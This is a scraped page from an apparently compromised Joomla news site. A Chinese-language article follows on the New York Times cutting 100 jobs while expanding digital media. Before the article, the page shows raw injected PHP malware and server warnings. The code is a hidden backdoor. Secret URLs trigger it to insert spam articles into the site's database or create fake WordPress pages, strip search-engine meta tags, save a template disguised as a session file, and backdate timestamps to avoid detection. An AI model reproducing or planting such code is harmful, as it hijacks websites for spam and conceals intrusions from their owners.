if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } }
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 413

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 413

Warning: Cannot modify header information - headers already sent by (output started at /home/clients/publicrelations/wwwroot/nms/includes/framework.php:97) in /home/clients/publicrelations/wwwroot/nms/libraries/joomla/session/session.php on line 416
《纽约时报》裁员百人 大力发展新媒体
Home 新媒体前沿 《纽约时报》裁员百人 大力发展新媒体

《纽约时报》裁员百人 大力发展新媒体

E-mail PDF
[摘要] 《纽约时报》削减采编工作岗位的做法在美国并不罕见。该国多家印刷媒体今年都进行了裁员。

《纽约时报》10月1日宣布,计划通过“买断”或解雇方式裁减100个工作岗位,包括采编人员与经营人员,以削减开支,继续大力发展新媒体。

和许多大型报纸发行商不同,《纽约时报》第二季度的发行收入有所增加,但印刷广告正在持续减少。新媒体是《纽约时报》大力发展的方向,第三季度,该报数字化付费订阅者增长超过4万,相关岗位(网络开发人员、视频记者等)也在继续增加。

今年第三季度,该报总收入3.89亿美元,运营利润下降64%至1650万美元。
 

注册用户太少 关闭评论产品NYT Opinion


该媒体将向采编和经营部门的员工提供“买断”选择,如果员工不接受,将采取解雇方式。

《纽约时报》表示,采编部门的裁员人数大约占采编人员总数的7.5%。经营部门受裁员影响的人数将比采编部门少。

“为了控制成本,让我们继续投资《纽约时报》的数字化未来,裁员是必要的,但我们知道,这对受影响的个人和他们的同事来说都是痛苦的。”该报发行人索尔兹伯格(Arthur Sulzberger Jr.)和公司CEO汤普森(Mark Thompson)在致员工的信中写道。

该报宣布将关闭最近推出的评论观点类手机客户端NYT Opinion,因为注册用户太少。

对于针对年轻读者的手机客户端NYT Now,他们尽管给予了好评,但承认即使订阅价格比网站低,但并没有预计得那么受欢迎。

索尔兹伯格和汤普森表示,需要削减开支来“确保《纽约时报》的长期利润,而不是为了解决任何短期经营困难”。
 

印刷广告减少 上季度增加4万数字订阅者


在最近一个季度,该公司的广告年收入同比下降了4%。该报的总收入下降了0.6%至3.89亿美元,运营利润下降64%至1650万美元。

尽管网站和实时突发新闻受到好评,但该媒体正在寻求扩宽数字化报道,以激发更多的广告和其他收入机会,包括广告商购买的“原生广告”(native advertising)。该报的数字订阅者也在增长,但增长率不稳定。

《纽约时报》在第一季度增加了3.9万付费数字化订阅者,尽管推出了多个新的数字化内容产品,包括NYT Now、NYT Opinion和Times Premier,但第二季度只增加了3.2万付费数字化订阅者。

在信中,索尔兹伯格和汤普森表示,随着广告商购买更多“付费文章(NYT Now产品中穿插在新闻间隙的付费文章)”,以及手机端和视频广告的增长,截至9月30日结束的这一季度中,数字化广告收入预计将增长16%。但随着开支继续增加,该公司第三季度和全年的利润预计将比上年低。

他们表示,将取消订阅的人数计算在内,第三季度仍然增加了超过4万名数字化订阅读者。该公司的发行收入将显现“温和增长”。

尽管9月的回弹帮助抵消了7月和8月的一部分亏损,但印刷广告继续减少。因此,该公司第三季度的总体广告收入增长持平。

他们指出,这表明,如何把高利润的印刷广告收入压力增加,和对未来的投资需求结合,将影响公司的利润,因此,他们决定裁员。

裁员决定得到了投资者的欢迎,该公司当天的股价收报12.3美元,上涨了1.08美元,大约9.6%。

继续大力投资新媒体


《纽约时报》削减采编工作岗位的做法在美国并不罕见。该国多家印刷媒体今年都进行了裁员。《华尔街日报》今年夏天进行了裁员,《今日美国》9月削减70个工作岗位。今年1月,Freedom Communications旗下的两家地方报纸都进行了裁员。

过去几年,《纽约时报》多次裁员,2008年裁减100个采编岗位,2009年再裁减100个,去年初裁减超过30个高级采编岗位。尽管如此,该公司的员工人数仍然从去年底的约1250人增长到了约1330人。其中一部分人员的增加是为了发展新媒体,包括网络开发人员和视频记者。

今年对于《纽约时报》来说不同寻常。5月,该报执行总编艾布拉姆森(Jill Abramson)在上任不到3年后突然被解职。随后,该报一份内部文件详细披露了其在向新媒体转型过程中遇到的困境。

尽管裁员100人,但该公司表示将继续大力扩展和投资数字技术、读者服务和移动内容。

索尔兹伯格和汤普森表示,截至9月底,最新的免费手机产品NYT Cooking在仅仅推出两周内就吸引了超过100万访问者。

“这些都是试验,我们决定这样对待:学习、转向,必要的时候做出快速决定。”信中称,“我们相信,这一探索和试验过程对于《纽约时报》未来的发展很重要,我们会继续支持和投资。”

“对于新闻业目前的财务困境来说,没有神奇的子弹。”《纽约时报》执行总编巴克特(Dean Baquet)1日在致员工的信中写道,“但《纽约时报》的记者,拥有创新力和对未来的信念,将帮助指引该公司度过更动荡的岁月。”